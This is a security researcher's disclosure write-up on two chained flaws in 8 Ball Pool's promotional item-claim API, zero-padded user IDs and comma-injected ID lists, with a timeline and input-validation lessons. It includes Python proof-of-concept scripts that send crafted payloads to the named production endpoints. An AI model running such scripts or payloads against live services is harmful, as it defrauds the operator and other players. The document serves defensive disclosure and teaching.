A Tale of Two Bugs: How I Claimed Unlimited Items in 8 Ball Pool
8 Ball Pool by Miniclip is one of the most popular mobile games in the world, boasting millions of players. Like many online games, it has a system for redeeming promotional codes for in-game items like exclusive cues, coins, and mystery boxes. These are often given out during events or partnerships.
While looking into the game’s network traffic, I discovered a fascinating chain of two vulnerabilities in their item-claiming API. These bugs, when combined, allowed a user to claim any single promotional item an almost infinite number of times, all without being detected by the standard “one-claim-per-user” logic.
This vulnerability was responsibly disclosed to the Miniclip security team and has since been fully patched. This write-up is a technical deep-dive into the discovery, the exploit, and the lessons learned.
The Target: The Reward API Endpoints
The investigation started by analyzing the HTTP requests made when a user redeems a promotional item. There are two primary endpoints for this:
-
Website Claims:
https://prod-pool-hub-api.8ballpool.com/claim
This endpoint handles claims originating from the official 8 Ball Pool website. It expects a JSON payload with the user’s ID and the item’s SKU. -
Reward Link Claims:
https://prod-pool-reward-links-service.pool.miniclippt.com/v1/grant-reward
This one is used for special reward links clicked on a mobile device. It takes the User ID and reward URL as GET parameters.
Both endpoints serve the same fundamental purpose: grant item Y
to user X
and make sure user X
can’t claim Y
again. It was this check that became the first domino to fall.
Vulnerability #1: The Zero Padding Glitch
The core of any claiming system is a database entry that says, “UserID 1234567890
has claimed ItemSKU ABCDE12345
.” My first goal was to find a way to bypass this check.
The user_id
parameter in both endpoints accepted a string. I hypothesized: what if the backend logic that grants the item treats the ID as a number, while the logic that checks if it’s already claimed treats it as a string?
If this were true, the server might see these as the same account:
1234567890
(as an integer)01234567890
(as an integer, leading zero is ignored)
But it would see these as different claim records:
"1234567890"
(as a string)"01234567890"
(as a different string)
This simple inconsistency would be enough to bypass the check. I wrote a quick proof-of-concept script to test this theory.
import requests
def websiteAdd(amount, uniqueid, sku):
addeditems = 0
zeros = '0'
for i in range(amount):
# On each loop, add one more '0' to the front of the ID
padded_id = f'{zeros*i}{uniqueid}'
json_data = {
'user_id': padded_id,
'sku': sku,
}
response = requests.post('https://prod-pool-hub-api.8ballpool.com/claim', json=json_data)
if response.status_code == 200:
addeditems += 1
print(f"Successfully claimed item with ID: {padded_id}")
elif response.status_code == 500 and response.json()['message'] == "item already claimed":
# This should have been the first response, but we bypassed it
print(f"Failed to add item with ID: {padded_id}")
else:
print(f"Request failed with status: {response.status_code}")
It worked.
By sending a request with 'user_id': '4278917376'
, I could claim the item. By sending a second request with 'user_id': '04278917376'
, I could claim it again. A third time with '004278917376'
, and so on. Each request registered as a unique string, successfully bypassing the “already claimed” check, while the backend correctly granted the item to the same account every single time.
The only limit was a server-side character restriction on the user_id
field. After about 1000 prepended zeros, the API would return an internal server error
, likely due to a database column size limit. This was a powerful bug, but it was inefficient, requiring one request per item.
Vulnerability #2: Mass-Grant via Comma Injection
While building a more robust tool to exploit the zero-padding glitch, I wondered how the API would handle other malformed inputs. What if I sent multiple IDs? I tested this by crafting a user_id
string like so:
'000004278917376,4278917376,4278917376'
To my surprise, the API didn’t reject the request. Instead of processing just the first ID or the full string as invalid, it parsed the comma-separated string and granted the item to every valid ID in the list.
This was the critical second piece. I could now combine the two vulnerabilities for maximum efficiency.
- Use the Zero Padding trick on the first ID in the list to make the entire request string unique and bypass the “already claimed” check.
- Use the Comma Injection to append the target user’s ID hundreds of times in that same request.
This meant I could go from one item per request to hundreds of items per request, limited only by how many times I could fit ,uniqueid
into the 1024-character limit of the parameter.
# From the second, more advanced PoC script
def json_data(self, i, addeditems):
# The string to repeat: a comma followed by the user's ID
hm = f',{self.uniqueid}'
reqnum = i+1
# Calculate how many times we can fit the ID string into the 1024 char limit
extra = (1024-(len(str(self.uniqueid))+1)-(len(str(reqnum))+len(str(self.zeros))))//len(hm)
total_to_add_in_request = extra + 1
# Craft the payload
# The first ID is padded with zeros to make it unique
# The rest are just the same ID repeated, separated by commas
payload = {
'user_id': f'{reqnum+self.zeros}{hm*total_to_add_in_request}',
'sku': self.sku,
}
return (payload, total_to_add_in_request)
With this new method, a single API call could grant over 400 items at once to an account, turning a slow trickle into a firehose of free promotional goods.
The Impact and Responsible Disclosure
The combination of these bugs created a critical vulnerability. An attacker could have used this to:
- Mass-produce accounts loaded with rare, limited-time items.
- Disrupt the in-game economy by flooding it with items that were meant to be scarce.
- Devalue items that other players may have earned or paid for.
Recognizing the severity, I immediately ceased testing and compiled my findings into a report.
- December 13, 2023: Identified the zero-padding vulnerability in the item-claiming API.
- December 14, 2023: Discovered the comma-injection vulnerability, enabling mass item grants.
- December 16, 2023: Submitted an initial vulnerability report to Miniclip.
- December 26, 2023: Received acknowledgment from Miniclip, requesting additional details for escalation.
- January 7, 2024: Provided comprehensive technical details; Miniclip escalated the report to their development team.
- January 12, 2024: Miniclip formally acknowledged and triaged the report.
- January 17, 2024: Miniclip confirmed the vulnerabilities and initiated remediation efforts.
- January 19, 2024: Miniclip deployed a comprehensive fix across their servers, fully resolving the issue.
The Miniclip team was professional, responsive, and a pleasure to work with throughout the process.
Conclusion: Lessons in Input Validation
This case is a classic example of why robust, multi-layered input validation is non-negotiable for API security.
-
Type-Safe Comparisons: User IDs, especially if they are numeric, should be canonicalized before being processed. This means trimming whitespace, removing leading zeros, and converting to a standard integer or long type before any logic is applied. A check for
(int)user_id
should always be used over a simple string comparison. -
Strict Input Formatting: An endpoint expecting a single user ID should validate that the input contains exactly one validly formatted ID. The presence of commas or other delimiters should cause the request to be rejected immediately as malformed.
It’s a reminder that sometimes the simplest bugs, layered on top of each other, can create the most significant impact. Kudos to the Miniclip team for their swift action in patching the issue and helping keep the 8 Ball Pool experience fair and secure for all players.